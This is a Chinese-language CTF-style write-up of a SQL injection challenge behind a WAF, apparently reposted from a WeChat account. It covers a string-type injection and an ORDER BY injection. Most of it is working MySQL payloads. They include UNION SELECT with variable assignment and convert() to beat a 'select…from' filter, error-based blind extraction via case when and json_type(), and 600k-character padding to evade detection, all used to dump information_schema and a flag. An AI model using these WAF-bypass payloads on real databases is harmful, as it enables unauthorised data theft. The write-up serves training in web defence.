入侵检测挑战赛第四期-SQL注入
2023-2-25 14:3:6 Author: XG小刚(查看原文) 阅读量:13 收藏

一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚
  规则   
规则不细说

  SQL注入  

登录发现SQL分为两套环境,上面字符型注入、下面order by注入

  找注入点  

在请求4的包中发现,一个单引号报错,两个单引号不报错,判断这是真正的注入点

在请求6数据包中发现,/**/不报错,/*/则报错,判断这是order by的注入点

字符型注入绕过  

首先在闭合内输入union select构造的语句,发现未拦截,说明不是单纯的正则匹配waf
username=Tom union select 1 from aa'

使用order by或尝试union查询,判断出是三列
username=T'union select 1,2,'3

查一下用户名、版本、数据库名
username=T'union select user(),version(),'3                user()[email protected]                version()=8.0.28                database()=range_test

测了半天发现正则了这个,就换个思路了
username=union select , from
既然可以union查询,但是不能连用from
在mysql有个定义变量语法@aaa:=
username=123'%[email protected]:=(select 'asdasd' from information_schema.tables limit 1) union select user(),@a,'3

尝试获取表名,发现错误

测试半天,发现是数据类型的问题,使用convert()函数进行类型转换
username=123'%[email protected]:=(select convert(table_name,char(100)) from information_schema.tables limit 1) union select user(),@a,'3

成功绕过了,接下来获取数据即可
查表名
username=123'%[email protected]:=(select convert(table_name,char(1000)) from information_schema.tables where table_schema='range_test' limit 0,1union select 1,@a,'3                

查字段名
username=123'%[email protected]:=(select convert(column_name,char(1000)) from information_schema.columns where table_schema='range_test' and table_name='f149_1s_h3r3'limit 0,1union select 1,@test,'3

查flag
username=123'%[email protected]:=(select convert(f14g_c01umn,char(1000))from f149_1s_h3r3 limit 0,1) union select 1,@test,'3

ORDER BY注入绕过  

使用mysql的定义变量@a:=进行数据传递
绕过substr()select from 表的连用
使用case when绕过if无法传递@aa参数
最后使用json_type函数进行报错盲注,如果是'1'则数据错误,'a'则数据正确
获取表名
order=goods_name,@a:=(select table_name from information_schema.tables where table_schema='range_test' limit 2,1),@b:=(case when substr(@a,12,1)='3' then '1' else 'a' end),json_type(@b)&limit=10

获取列名
order=goods_name,@a:=(select column_name from information_schema.columns where table_schema='range_test' and table_name='f149_1s_h3r3__________' limit 0,1),@b:=(case when substr(@a,4,1)='g' then '1' else 'a' end),json_type(@b)&limit=10
获取flag
order=goods_name,@a:=(select f14g_c01umn from f149_1s_h3r3__________ limit 0,1),@b:=(case when substr(@a,28,1)='/' then '1' else 'a' end),json_type(@b)&limit=10

超大数据绕过  

 利用超大数据绕过检测
username=60万字符' union select 1,table_name,3 from information_schema.tables where table_schema = 'range_test'limit 0,1 --

 利用超大注释绕过检测

username=a'/*60万字符*/union select 1,column_name,3 from information_schema.columns where table_name = 'flag_t4b1lile'limit 0,1 -- 

 最后  

由于第四期参与较晚,几个poc基本都重复了,分享一下思路,后续更新第五期


文章来源: http://mp.weixin.qq.com/s?__biz=MzIwOTMzMzY0Ng==&mid=2247487433&idx=1&sn=b61dece8260efe6ee043653390e74393&chksm=97743328a003ba3e68ff707af44113f6d9e21fe6e985fc7098988baa98e8a7132b9c974e3d88#rd
如有侵权请联系:admin#unsafe.sh